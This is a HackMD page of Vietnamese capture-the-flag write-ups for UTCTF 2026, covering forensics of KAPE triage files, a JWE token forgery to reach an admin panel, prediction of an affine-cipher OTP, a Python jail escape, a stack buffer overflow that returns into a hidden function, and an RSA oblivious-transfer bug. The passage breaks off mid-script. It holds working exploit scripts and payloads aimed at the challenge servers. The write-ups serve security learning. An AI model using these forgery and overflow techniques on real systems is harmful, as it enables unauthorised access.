phan_tung
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.

      Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

      Explore these features while you wait
      Complete general settings
      Bookmark and like published notes
      Write a few more notes
      Complete general settings
      Write a few more notes
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note No publishing access yet

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.

    Your account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Your team account was recently created. Publishing will be available soon, allowing you to share notes on your public page and in search results.

    Explore these features while you wait
    Complete general settings
    Bookmark and like published notes
    Write a few more notes
    Complete general settings
    Write a few more notes
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # UTCTF 2026 ## Sherlockk(R4f3lowww) **Category:** Forensics **Points:** 943 **Flag:** `utflag{b45k3rv1ll3-3l3m3n74ry-4r7hur_c0n4n_d0yl3}` ### Đề bài Phân tích KAPE triage files để tìm các Indicators of Compromise (IOCs) do threat actor để lại. Có 3 checkpoint cần giải: - **Checkpoint A:** URL đầy đủ mà threat actor download từ online text storage site - **Checkpoint B:** Nội dung của note đã bị xóa - **Checkpoint C:** MD5 hash của file enumeration script đã được download Mỗi checkpoint là một file ZIP có password. Các flag con nối lại thành flag cuối. **Triage:** Modified_KAPE_Triage_Files.zip --- ### Checkpoint A — Download URL **Password ZIP:** URL tìm được **Answer:** `b45k3rv1ll3` #### Phân tích Tìm URL trong Chrome browser history. Chrome lưu lịch sử trong SQLite database: ``` C/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/History ``` Query bảng `downloads_url_chains`: ```python import sqlite3 conn = sqlite3.connect('History') c = conn.cursor() c.execute('SELECT * FROM downloads_url_chains') # → (16, 0, 'http://pastes.io/download/nhy8LSzI') # → (16, 1, 'https://pastes.io/download/nhy8LSzI') ``` URL cuối là redirect, URL gốc (dùng làm password): **`http://pastes.io/download/nhy8LSzI`** File download: `C:\Users\Administrator\Downloads\nhy8LSzI.txt` ``` utflag{b45k3rv1ll3} ``` --- ### Checkpoint B — Deleted Note **Password ZIP:** Items trong note cách nhau bằng `-` **Answer:** `3l3m3n74ry` #### Phân tích ##### Bước 1: Xác định file note Kiểm tra Windows Timeline database (ActivitiesCache.db): ``` C/Users/Administrator/AppData/Local/ConnectedDevicesPlatform/L.Administrator/ActivitiesCache.db ``` ```python conn = sqlite3.connect('ActivitiesCache.db') c.execute("SELECT Payload FROM Activity WHERE Payload LIKE '%note%'") # → {"displayText":"Notes.txt","description":"C:\\Users\\Administrator\\Documents\\Notes.txt"} ``` File cần tìm: `C:\Users\Administrator\Documents\Notes.txt` — đã bị xóa. Trong Recycle Bin có: - `$I9W158M.txt` → metadata của `Note To Self.txt` (0 bytes khi xóa) - `$R9W158M.txt` → content của `Note To Self.txt` (trống) - `$IR5UOFV.txt` → metadata của `Note.txt` - `$RR5UOFV.txt` → content của `Note.txt`: `"Password is longhornHACK123*"` Nhưng `Notes.txt` không có trong Recycle Bin → cần recover từ **MFT**. ##### Bước 2: Tìm entry trong $MFT Tìm string `Notes.txt` (UTF-16LE) trong file `$MFT`: ```python mft_data = open('$MFT', 'rb').read() search = 'Notes.txt'.encode('utf-16le') # Tìm ở offset 164847616 (record #160984) ``` MFT record tại offset `164847616` chứa `$DATA` attribute **resident** 46 bytes. ##### Bước 3: Apply NTFS Fixup NTFS dùng Update Sequence Array (USA) để bảo vệ MFT records. Bytes tại vị trí 510-511 và 1022-1023 của mỗi record bị thay bằng fixup value. Cần restore lại giá trị gốc: ```python record = bytearray(mft_data[164847616:164847616+1024]) usa_offset = struct.unpack_from('<H', record, 4)[0] # = 48 usa_count = struct.unpack_from('<H', record, 6)[0] # = 3 usa_value = struct.unpack_from('<H', record, usa_offset)[0] # = 0x0011 # USA array: [check=0x0011, actual_510-511=0x2043, actual_1022-1023=0x0000] actual_510_511 = record[usa_offset+2:usa_offset+4] # b'\x20\x43' actual_1022_1023 = record[usa_offset+4:usa_offset+6] # b'\x00\x00' # Restore record[510:512] = actual_510_511 # " C" → repair "- Carrots" record[1022:1024] = actual_1022_1023 ``` Không apply fixup → đọc được `b'...Cabbage\r\n-\x11\x00arrots'` (byte `C` bị thay bằng `\x11`). Sau khi apply fixup → đọc đúng: ``` Grocery List: - Lettuce - Cabbage - Carrots ``` **Password:** `Lettuce-Cabbage-Carrots` ``` utflag{3l3m3n74ry} ``` --- ### Checkpoint C — File Enumeration Script MD5 **Password ZIP:** MD5 hash của file **Answer:** `4r7hur_c0n4n_d0yl3` #### Phân tích File enumeration script nằm trong thư mục Downloads của Administrator: ``` C/Users/Administrator/Downloads/script.sh.sh ``` Tính MD5: ```python import hashlib, zipfile z = zipfile.ZipFile('Modified_KAPE_Triage_Files.zip') data = z.read('Modified_KAPE_Triage_Files/C/Users/Administrator/Downloads/script.sh.sh') print(hashlib.md5(data).hexdigest()) # → e86475121f231c02c4a63bd0915b9dff ``` **Password:** `e86475121f231c02c4a63bd0915b9dff` ``` utflag{4r7hur_c0n4n_d0yl3} ``` --- ### Flag ``` utflag{b45k3rv1ll3-3l3m3n74ry-4r7hur_c0n4n_d0yl3} ``` Các phần của flag đều là references đến Sherlock Holmes: - **b45k3rv1ll3** = Baskerville (The Hound of the Baskervilles) - **3l3m3n74ry** = "Elementary, my dear Watson" - **4r7hur_c0n4n_d0yl3** = Arthur Conan Doyle (tác giả) ## Break the bank [P1c0L0] ![image](https://hackmd.io/_uploads/rkJFKgbqWl.png) - khi mới truy cập vào trang chủ ta thấy giao diện khá nhiều chức năng, nhưng đều chỉ là dummy (`#`) - Ta view-source thì phát hiện ra một endpoint trích xuất ra tài liệu hướng dẫn là `/resources/FNSB_InternetBanking_Guide.pdf` ![image](https://hackmd.io/_uploads/ry4r9e-9Zx.png) - Tải file pdf về đọc thì thấy được thông tin `username&password` mà file cung cấp là `testuser&testpass123` - Ta sẽ login với username&password ở trên để vào được hệ thống - Sau khi login xong thì chuyển ta tới endpoint `/profile` ![image](https://hackmd.io/_uploads/SyTnqlZ9Ze.png) - Xem qua một lượt thì thấy không có gì khả nghi, ta sẽ thử view-source để tìm thông tin hữu ích - Và ta thấy được một đoạn CSS có chứa thông tin về `admin` ![image](https://hackmd.io/_uploads/HyhkogZcZg.png) - Từ đây ta thấy rằng có tồn tại giao diện admin nhưng button `.btn-admin` đã bị ẩn đi do không đủ quyền - Nếu ta truy cập tới `http://challenge.utctf.live:5926/admin` thì sẽ trả về `{"error":"Forbidden: admin subject required"}` - Tức là hệ thống biết ta đang truy cập nhưng chặn lại vì token hiện tại không chứa `subject` là `admin` - Kiểm tra cookie `fnsb_token` ta thấy đó không phải là JWT thông thường `eyJjdHkiOiJKV1QiLCJlbmMiOiJBMjU2R0NNIiwiYWxnIjoiUlNBLU9BRVAtMjU2In0.SMmDjOHeAC2vLzdkvFVxX5N9Z3jUXbKZcc5HI7lvfU5XOM7dQ7tHyhd0DmgnJVN65fvdA3krF8O5g2Td8b3F7jsNMW8DTYzywkl2sb0W0kfRzyiLbEJSzz1CyyFWljWhUjIno3Dlr095HFtzRHjrp9Xq3LKTJzsNYmXU3rPLZMeINlybePKBJNhaaWAYd2lFDdkFKTqOeX-L5X8xj8Gmg53v5ig7NjTtZi1FzIvdRbuPc6Q29TFBFlQJjbllNgFiyv0oRAENE7caERhLQa7brGbSmMybstGhQz0Z16-NBrdAxW9W74dd6PEt7VIGFw44zGsX2g_Oh46t6v0ftQDHJA.lyHyxvpNY9Jiy9RW.dBoJ1nA7IPVKxxk6X8mznCnIpKTJyJ4tLWOwXeDIGYolLk_2zKY7FEZKgsxu7PsVCcAMk4-9zlXQH2X-B2CwBfD90V18weK3OwLeDWisE2mf0HRHZI5QDz2r7q1VQyCyHXpHYz0KIt27rR2DQrJ2k-fwuXeI9W7UubvEYACYQs6HzIKEfm0lusI0VNMtBnLEmKwhdld25aEqk43FglPYU2QwFSTl_pIMY4TGLaa8wVI1Xh6HSAgVEan8_DSMrRJ1Wxp3Dymzl9iVNCyFU7EmXaeLL8ywAo_orllA_tOSnZ0xpuPLIYc63I2oTTcbmkzjfAw9P8Rzj6GM6HXo0qNrSpt8bv31wV41ec_LMQTu-wswbJA4p_CYxclbOHumJnztopI8-0knFIDo2lGgeKzoctoCA4HW1ZsblMT9lNRMEZrZnuEMkOCq-wQcY6VnE0f6bibvKZUw7AgbjmcWcmEO_Mo9FHn_JpOsRnzDzp8rt-W8SO_2qgg_YEYERbzQBXo4xzBWObtGOoLSTNUw2pR6gQkBLD6ov3rgxt-IJ7NBPc1KjvHwU3v1-asW9OAlWKyp1zLCn6nBHiWn4P7njBLGPcjy5VkGfQ0Anj2k_nzgZJEU6v70-7v-Geoi4Y_JrLHlxsr9-pA2HbOlJhbAV5-X61BhMBos8lPYklJ0lUxZcg.StTK1UT7v-92a21NG7R4sw` - Nó là một chuỗi có 5 phần => JWE - Header dùng thuật toán mã hoá bất đối xứng, nên ta cần phải tìm được public key - Như đã nói ở trên thì khi login vào `username:testuser` thì tôi đã tìm ra được một endpoint công khai là `/resources/` tôi đã thử truy cập tới `http://challenge.utctf.live:5926/resources/` để xem có list ra thêm được file nào không - thật bất ngờ là tồn tại hai file txt khác và một trong các file đó chứa public key ![image](https://hackmd.io/_uploads/SJ_Fngb5We.png) - `memo.txt` ![image](https://hackmd.io/_uploads/rycq3lZ5Ze.png) - `key.pem` ![image](https://hackmd.io/_uploads/BJ5shlZcWg.png) - Từ đây ta đã có được public key nên sẽ bắt đầu exploit để vào được `admin` - Decode header của JWT trên thì sẽ ra là `{"cty":"JWT","enc":"A256GCM","alg":"RSA-OAEP-256"}` - Ban đầu trường `"cty": "JWT"` làm tôi nghĩ là bên trong JWE chứa một JWT khác - Tôi đã thử bypass signature như `alg:none` hoặc `RS256->HS256` nhưng đều bị server redirect về `/login.html` - Nhìn lại lỗi `{"error":"Forbidden: admin subject required"}` thì tôi nghĩ thằng dev đã nhầm giữa bảo mật dữ liệu và xác thức user - Không thể nhét JWT vào trong JWE, chỉ lấy một chuỗi JSON thuần `{"sub": "testuser"}` và dùng public key mã hoá nó thành JWE - Vì không có JWS bên trong, server giải mã bất cứ thứ gì nhận được. Nên nếu mã ra JSON hợp lệ thì server sẽ cho qua => Vì public key là công khai nên ta có thẻ tự mã hoá một chuỗi JSON có quyền admin và gửi tới server ### Exploit ```python! import time import json from jwcrypto import jwt, jwk pem_data = b"""-----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsio2dcXheqKLrteRx4V1 7FchW6AE2zszlMyiN8S7D16ww1a9AFC8EQhEHNW1PLXncXiimNeb6/oZP2+V18gE ZoyKIET2oHC4MmthSOFrW0nFgfgRJdH7VyEVHupFL6tFAJvHFWVplTgCdqtegihG cG7XKUGah4Q8FytlIhk/A983LtbblhAnfKTeBwxT2wVZE9+5pWhPmdGLoX3Hf0Uy pHJTkL6D7C4X4KGJiNrSJ6mJw4sDpXlZEvagB0uFaO4b22WX6HSf2ZOBW5VHEWS5 TiKvliyTQL3FJWXefqxHgQL8diDWhWwYXI7Q0b+otJ5/G/jMGL2S+N10oJTitTuK OQIDAQAB -----END PUBLIC KEY-----""" public_key = jwk.JWK.from_pem(pem_data) now = int(time.time()) claims = json.dumps({ "sub": "admin", "username": "admin", "role": "admin", "iat": now, "exp": now + 3600 }) jwe_header = { "alg": "RSA-OAEP-256", "enc": "A256GCM", "cty": "JWT" } jwe_token = jwt.JWT(header=jwe_header, claims=claims) jwe_token.make_encrypted_token(public_key) print("[+] JWE Token for Admin:\n" + jwe_token.serialize()) ``` - Chạy script trên và ta có được một token JWE mới - Sau đó ta sẽ `curl` tới endpoint `/admin` với cookie chứa token vừa gen được ``` java curl -i -s -L http://challenge.utctf.live:5926/admin \ -H "Cookie: fnsb_token=<JWE_TOKEN>" ``` - Server trả về `HTTP 200 OK` và giao diện của FNSB SysAdmin Console **FLAG: utflag{s0m3_c00k1es_@re_t@st13r_th@n_0th3rs}** ## Time to Pretend [P1c0L0] ![image](https://hackmd.io/_uploads/HJ2H7--5-e.png) - Ta thấy các chức năng ở trên header cũng chỉ toàn là dummy, nên ta vẫn sẽ view-source để tìm thông tin ẩn ### HTML - Ta phát hiện ra một comment khả nghi là ![image](https://hackmd.io/_uploads/HkDi7WWcbg.png) ![image](https://hackmd.io/_uploads/r1L67ZbcZx.png) - Từ đây ta có thể biết là tồn tại một file là `urgent.txt` có thể truy cập được và tồn tại một debug endpoint để lấy OTP - Truy cập tới `/urgent.txt` ta thu được tâm thư của người tên `timothy`. Đọc qua ta nhận ra thuật toán gen OTP có lỗ hổng nên đã khóa toàn bộ tài khoản trên hệ thống, ngoại trừ tài khoản của người đó để tiện theo dõi => Chỉ `username=timothy` mở để có thể login vào, nên ta sẽ tìm cách để login với `username=timothy` ![image](https://hackmd.io/_uploads/H11zEZZ5be.png) - Loginc handler ```javascript! async function doLogin() { const response = await fetch('/auth', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, otp }) }); // On success → redirect to /portal } ``` ### PCAP - File PCAP chứa 686 packet, tất cả là TCP traffic đến port 8000. Lọc ra các HTTP payload có nội dung quan trọng thì phát hiện hàng loạt gọi đến endpoint `/debug/getOTP` ```javascript! POST /debug/getOTP HTTP/1.1 Host: 172.21.0.2:8000 Content-Type: application/json {"username": "carrasco", "epoch": 1773290571} ─────────────────── Response ─────────────────── HTTP/1.1 200 OK Content-Type: application/json {"add": 13, "mult": 7, "otp": "bnccnjbh"} ``` - Tổng cộng 49 cặp request/response được trích xuất. Mỗi entry gồm: - `username` + `epoch` (Unix timestamp) trong request - `add`, `mult`, `otp` trong response - Nhìn vào dữ liệu có những điểm dễ thấy: - Hai user khác nhau (`fan`, `maiden`) cùng `epoch 1773290594` → cùng `add=10`, `mult=5` → nhưng OTP khác nhau (jkx vs skyzex) - Độ dài OTP = độ dài username (`fan`→3 ký tự, `maiden`→6 ký tự, `delatorre`→9 ký tự) - Tất cả ký tự OTP đều là chữ thường `a-z` - `add` và `mult` không phụ thuộc username, chỉ phụ thuộc epoch - OTP là một phép biến đổi từng ký tự của username → dấu hiệu của một substitution cipher - OTP chỉ chứa chữ thường `a-z` và có cùng độ dài username → alphabet size = 26 #### Giải mã add và mult - Tìm quan hệ giữa epoch và add/mult **add = epoch % 26** ```css! epoch=1773290571, add=13 → 1773290571 % 26 = 13 ✓ epoch=1773290574, add=16 → 1773290574 % 26 = 16 ✓ epoch=1773290576, add=18 → 1773290576 % 26 = 18 ✓ epoch=1773290584, add=0 → 1773290584 % 26 = 0 ✓ ``` - Xác định mult. Các giá trị mult quan sát được (7, 15, 17, 19, 21, 25, 3, 9, 11...) đều là số lẻ nguyên tố cùng nhau với 26. Tập hợp các giá trị coprime với 26: **mult = [1,3,5,7,9,11,15,17,19,21,23,25][epoch % 12]** ```css! valid_mults = [1, 3, 5, 7, 9, 11, 15, 17, 19, 21, 23, 25] # 12 phần tử epoch=1773290571, epoch%12=3 → valid_mults[3]=7 mult=7 ✓ epoch=1773290574, epoch%12=6 → valid_mults[6]=15 mult=15 ✓ epoch=1773290581, epoch%12=1 → valid_mults[1]=3 mult=3 ✓ epoch=1773290592, epoch%12=0 → valid_mults[0]=1 mult=1 ✓ ``` #### Affince Cipher - Với add và mult đã biết thử áp dụng công thức Affine Cipher lên username: ```css! E(x) = (mult × x + add) mod 26 với x = vị trí ký tự trong bảng chữ cái (a=0, b=1, ..., z=25) ``` - Kiểm chứng với user fan (epoch=1773290594, add=10, mult=5, otp="jkx"): **Xác minh: 'fan' → 'jkx'** ```css! f = 5 → E(5) = (5×5 + 10) mod 26 = 35 mod 26 = 9 = 'j' ✓ a = 0 → E(0) = (5×0 + 10) mod 26 = 10 mod 26 = 10 = 'k' ✓ n = 13 → E(13) = (5×13 + 10) mod 26 = 75 mod 26 = 23 = 'x' ✓ ``` - Vuln detect: `OTP = Affine_Cipher(username, mult, add)` - với add = epoch % 26 - mult =[1,3,5,7,9,11,15,17,19,21,23,25][epoch % 12] - Toàn bộ OTP có thể được tính toán trước chỉ cần biết username và Unix timestamp hiện tại - OTP hoàn toàn deterministic và không có secret key ### Exploit chain 1. Đọc `/urgent.txt` xác định username là `timothy` 2. Phân tích PCAP: Trích xuất 49 cặp `request/response` của `/debug/getOTP` 3. RE: `add=epoch%26`, `mult=mults[epoch%12]`, `OTP=Affine(username)` 4. Tính OTP: dùng timestamp hiện tại tính OTP cho `timothy` 5. Đăng nhập: `POST /auth` với username+otp, lấy session cookie 6. Lấy flag: `GET /portal` với session cookie → flag trong HTML ### Script ```javascript! EPOCH=$(date +%s); \ OTP=$(python3 -c " mults=[1,3,5,7,9,11,15,17,19,21,23,25] e=$EPOCH; add=e%26; mult=mults[e%12] print(''.join(chr(((mult*(ord(c)-97)+add)%26)+97) for c in 'timothy')) "); \ curl -s -c /tmp/cookies.txt -X POST http://challenge.utctf.live:9382/auth \ -H "Content-Type: application/json" \ -d "{\"username\":\"timothy\",\"otp\":\"$OTP\"}" && \ curl -s -b /tmp/cookies.txt http://challenge.utctf.live:9382/portal ``` **FLAG: utflag{t1m3_1s_n0t_r3l1@bl3_n0w_1s_1t}** ## Jail break [Dr@90n_8@ll] ![Screenshot 2026-03-13 074236](https://hackmd.io/_uploads/H12ANz-cZg.png) ### 1. Analysis Thử thách cung cấp một script Python jail.py đóng vai trò là một sandbox. Mục tiêu là gọi `hàm _secret()` để lấy flag, nhưng chúng ta đối mặt với các rào cản sau: **Blacklist:** Chặn các từ khóa như `import`, `os`, `sys`, `open`, và đặc biệt là `secret`. **Whitelist Built-ins:** Chỉ cho phép một số hàm như `print`, `vars`, `list`, `chr`. **Cơ chế mã hóa:** Flag nằm trong mảng `_ENC` và được giải mã bằng phép toán XOR với `_KEY = 0x42`. ### 2. Solution #### Cách 1: Static Analysis Vì mã nguồn đã cung cấp mảng `_ENC` và `_KEY`, ta có thể chạy script local để lấy flag ngay lập tức: ```p _ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x39, 0x32, 0x3b, 0x1d, 0x28, 0x23, 0x73, 0x2e, 0x1d, 0x71, 0x31, 0x21, 0x76, 0x32, 0x71, 0x1d, 0x2f, 0x76, 0x31, 0x36, 0x71, 0x30, 0x3f] print(''.join(chr(b ^ 0x42) for b in _ENC)) ``` #### Cách 2: Jailbreak Bypass Để gọi hàm `_secret()` mà không vi phạm blacklist, ta sử dụng Introspection để truy cập namespace thông qua `vars()` và kỹ thuật cộng chuỗi: - **Payload 1 (Cộng chuỗi):** Truy cập dictionary `vars()` bằng key được ghép từ các chuỗi nhỏ nhằm né bộ lọc. ```python print(vars()["_sec" + "ret"]()) ``` - **Payload 2 (Indexing):** Chuyển các giá trị trong dictionary thành list và truy cập theo chỉ số (index). ```python f = list(vars().values())[1] print(f()) ``` ### 3. Final Flag **Flag:** `utflag{py_ja1l_3sc4p3_m4st3r}` ## Hour of Joy [Dr@90n_8@ll] ### 1. Analysis Thử thách cung cấp một file binary `vuln` đóng vai trò là một chương trình kiểm tra mã bí mật. Qua việc phân tích luồng thực thi, chúng ta đối mặt với các đặc điểm sau - **Luồng hoạt động:** Chương trình hỏi tên người dùng qua `fgets` (giới hạn 64 bytes - an toàn) , sau đó yêu cầu nhập một "secret code" thông qua `scanf("%d", ...)`. - **Cơ chế kiểm tra:** Một biến cục bộ tại vị trí `rbp-0x4` được khởi tạo với giá trị `0xDEADBEEF`. Chương trình sẽ so sánh giá trị bạn nhập vào với hằng số này. - **Hàm mục tiêu:** Nếu phép so sánh trùng khớp, chương trình gọi hàm `print_flag()`. Hàm này thực hiện XOR 28 bytes dữ liệu đã mã hóa với `_KEY = 0x42` để in ra flag. - **Rào cản:** `scanf` với định dạng `%d` sẽ đọc vào một số nguyên 32-bit có dấu (signed int). Trong khi đó, `0xDEADBEEF` nếu hiểu theo kiểu số nguyên có dấu sẽ có giá trị âm. ### 2. Solution #### Cách 1: Static Analysis (XOR Decoding) Vì thuật toán giải mã nằm ngay trong hàm `print_flag` và chuỗi đã mã hóa có sẵn trong phân đoạn dữ liệu của binary, ta có thể trích xuất và giải mã offline: ```python _ENC = [0x37, 0x36, 0x24, 0x2e, 0x23, 0x25, 0x3b, 0x24, 0x30, 0x3d, 0x31, 0x34, 0x1f, 0x33, 0x34, 0x32, 0x31, 0x2e, 0x37, 0x1f, 0x2c, 0x33, 0x74, 0x33, 0x33, 0x24, 0x76, 0x3d] print(''.join(chr(b ^ 0x42) for b in _ENC)) ``` #### Cách 2: Logic Bypass (Signed Integer Conversion) Để vượt qua câu lệnh kiểm tra và kích hoạt hàm `print_flag()`, chúng ta cần nhập giá trị thập phân tương ứng của `0xDEADBEEF` dưới dạng số nguyên có dấu 32-bit. - Key Insight: `0xDEADBEEF` trong hệ nhị phân 32-bit có bit cao nhất là 1, nên khi dùng %d, nó được hiểu là một số âm. - Giá trị cần nhập: `-559038737`. Thực hiện: Chạy binary. Nhập tên bất kỳ. Tại phần "Enter the secret code", nhập: `-559038737` ### 3. Final Flag Flag: `utflag{f0rm4t_str1ng_l34k3d}` ## Rude guard [Dr@90n_8@ll] ![image](https://hackmd.io/_uploads/B1raPdZ9We.png) ### 🔍 Reconnaissance #### Kiểm tra binary ```bash $ file pwnable pwnable: ELF 64-bit LSB executable, x86-64, dynamically linked, not stripped ``` ```bash $ strings pwnable | grep -E "flag|hello|rude|give" Are you not going to say hello? Hi. Go away. Hi. What do you want. givemeflag How rude! utflag{you're going to need a sneakier way in...} I won't let you pass. No matter what. ``` Ngay từ `strings` ta thấy một flag nhưng nó có vẻ như là **decoy** (thông điệp "you're going to need a sneakier way in..." đã gợi ý điều đó). Ngoài ra ta còn thấy có một hàm `secret_function` trong symbol table. ### 🧠 Phân tích binary #### Hàm `main()` ```c int main(int argc, char *argv[]) { if (argc == 1) { puts("Are you not going to say hello?"); return 0; } int val = atoi(argv[1]) - 0x656c6c6f; // = atoi(argv[1]) - 1701604463 if (val != 0) { puts("Hi. Go away."); return 0; } puts("Hi. What do you want."); read_input(val); // val = 0 → fd = 0 (stdin) return 0; } ``` **Điều kiện để vào được `read_input`:** `argv[1]` phải bằng `0x656c6c6f` = **1701604463** (decimal) ```bash $ python3 -c "print(0x656c6c6f)" 1701604463 ``` --- #### Hàm `read_input()` ```c void read_input(int fd) { char buf[32]; read(fd, buf, 100); // ⚠️ Đọc 100 bytes vào buffer 32 bytes → Buffer Overflow! if (strcmp(buf, "givemeflag") == 0) { puts("How rude! utflag{you're going to need a sneakier way in...}"); // ← Decoy flag } else { puts("I won't let you pass. No matter what."); } } ``` **Lỗ hổng:** `read()` đọc **100 bytes** vào buffer chỉ có **32 bytes** → **Stack Buffer Overflow**. --- #### Hàm `secret_function()` — Không bao giờ được gọi! Hàm này tồn tại trong binary nhưng không có đường nào gọi đến từ luồng bình thường. ```c void secret_function() { char key = 0x32; // Encrypted flag bytes hardcoded trong binary char encrypted[] = { 0x47, 0x46, 0x54, 0x5e, 0x53, 0x55, 0x49, 0x55, ... }; int len = 0x27; // 39 bytes for (int i = 0; i < len; i++) { putchar(encrypted[i] ^ key); // XOR decrypt từng byte với 0x32 } } ``` Flag thật được mã hóa XOR với key `0x32`, và chỉ được giải mã khi `secret_function` được thực thi. ### 💥 Exploit #### Tính offset ``` Stack layout của read_input: ┌──────────────┐ ← rbp - 0x20 (buf, 32 bytes) │ buf[0..31] │ ├──────────────┤ ← rbp │ saved rbp │ (8 bytes) ├──────────────┤ ← rbp + 0x8 │ return addr │ ← ĐÂY LÀ MỤC TIÊU └──────────────┘ ``` **Offset đến return address = 32 (buffer) + 8 (saved rbp) = 40 bytes** #### Địa chỉ target ```bash $ objdump -d pwnable | grep "<secret_function>" 000000000040124f <secret_function>: ``` → `secret_function` tại **`0x40124f`** (non-PIE, địa chỉ cố định) #### Payload ```python import struct, subprocess padding = b'A' * 40 # Ghi đè buffer + saved rbp secret_addr = struct.pack('<Q', 0x40124f) # Địa chỉ secret_function (little-endian) payload = padding + secret_addr result = subprocess.run( ['/path/to/pwnable', '1701604463'], input=payload, capture_output=True ) print(result.stdout.decode()) ``` #### Bonus: Giải mã tĩnh (không cần chạy exploit) Có thể đọc thẳng bytes trong disassembly và XOR với key `0x32`: ```python key = 0x32 import struct # Bytes được hardcode trong secret_function qua movabs instructions chunks = [ (0, 0x554955535e544647), (8, 0x4106456d56400647), (16, 0x6d4057590601456d), (24, 0x466d5b6d5c065a46), (31, 0x4f465a5547025a46), ] buf = [0] * 39 for offset, val in chunks: for i, b in enumerate(struct.pack('<Q', val)): if 0 <= offset + i < 39: buf[offset + i] = b flag = ''.join(chr(b ^ key) for b in buf) print(flag) ``` ### 🚩 Flag ``` utflag{gu4rd_w4s_w34ker_th4n_i_th0ught} ``` ## Oblivious Error [Dr@90n_8@ll] ![Screenshot 2026-03-13 080336](https://hackmd.io/_uploads/HyROcOW5bx.png) ### Phân tích #### RSA 1-2 Oblivious Transfer là gì? RSA-based 1-2 Oblivious Transfer (OT) là một giao thức mật mã cho phép: - **Sender** có 2 message: `m0`, `m1` - **Receiver** chọn một trong hai mà **không tiết lộ** đã chọn cái nào - **Sender** không biết receiver đã chọn cái nào Giao thức hoạt động như sau: 1. Sender publish `N`, `e` (RSA public key) và 2 giá trị ngẫu nhiên `x0`, `x1` 2. Receiver chọn bit `b` (0 hoặc 1), tạo giá trị `k` ngẫu nhiên rồi gửi lên: `v = (xb + k^e) mod N` 3. Sender tính: `K0 = (v - x0)^d mod N` và `K1 = (v - x1)^d mod N` 4. Sender trả về: `c0 = m0 + K0`, `c1 = m1 + K1` 5. Receiver chỉ giải được `mb = cb - k` vì chỉ `Kb = k` (cái kia là rác) #### Lỗi trong code Xem file `my-code.txt`: ```python while True: try: print("Please pick a value k.") k = int(input()) break except ValueError: print("Invalid value. Please pick an integer.") print("Please pick a value k.") k = int(input()) v = (x0 + (int(k) ^ e)) % N ``` **Bug:** Dòng cuối dùng `^` thay vì `pow(k, e, N)`! Trong Python: - `^` = **XOR bit** - Lũy thừa RSA phải là: `pow(k, e, N)` Vì vậy server tính `v = (x0 + (k XOR e)) % N` thay vì `v = (x0 + pow(k, e, N)) % N`. ### Khai thác #### Bước 1: Lấy Message 0 (Red Herring) Do bug trên, nếu ta chọn `k = e = 65537`: ``` k XOR e = 65537 XOR 65537 = 0 v = (x0 + 0) % N = x0 K0 = (v - x0)^d = 0^d = 0 c0 = m0 + 0 = m0 ← plaintext luôn! ``` Kết nối server, nhập `k = 65537`, nhận được Message 2 = flag... nhưng thực ra là **red herring**: ``` hgsynt{Pbatengf! Lbh pnhtug n erq ureevat!} ``` Decode ROT13 ra: `utflag{Congrats! You caught a red herring!}` — đây là bẫy! #### Bước 2: Lấy Message 1 (Flag thật) Muốn lấy `m1`, cần `K1 = 0`, tức là `v = x1`. Ta cần: ``` x1 = (x0 + (k XOR e)) % N k XOR e = (x1 - x0) % N k = ((x1 - x0) % N) XOR e ``` Script tính `k`: ```python N = 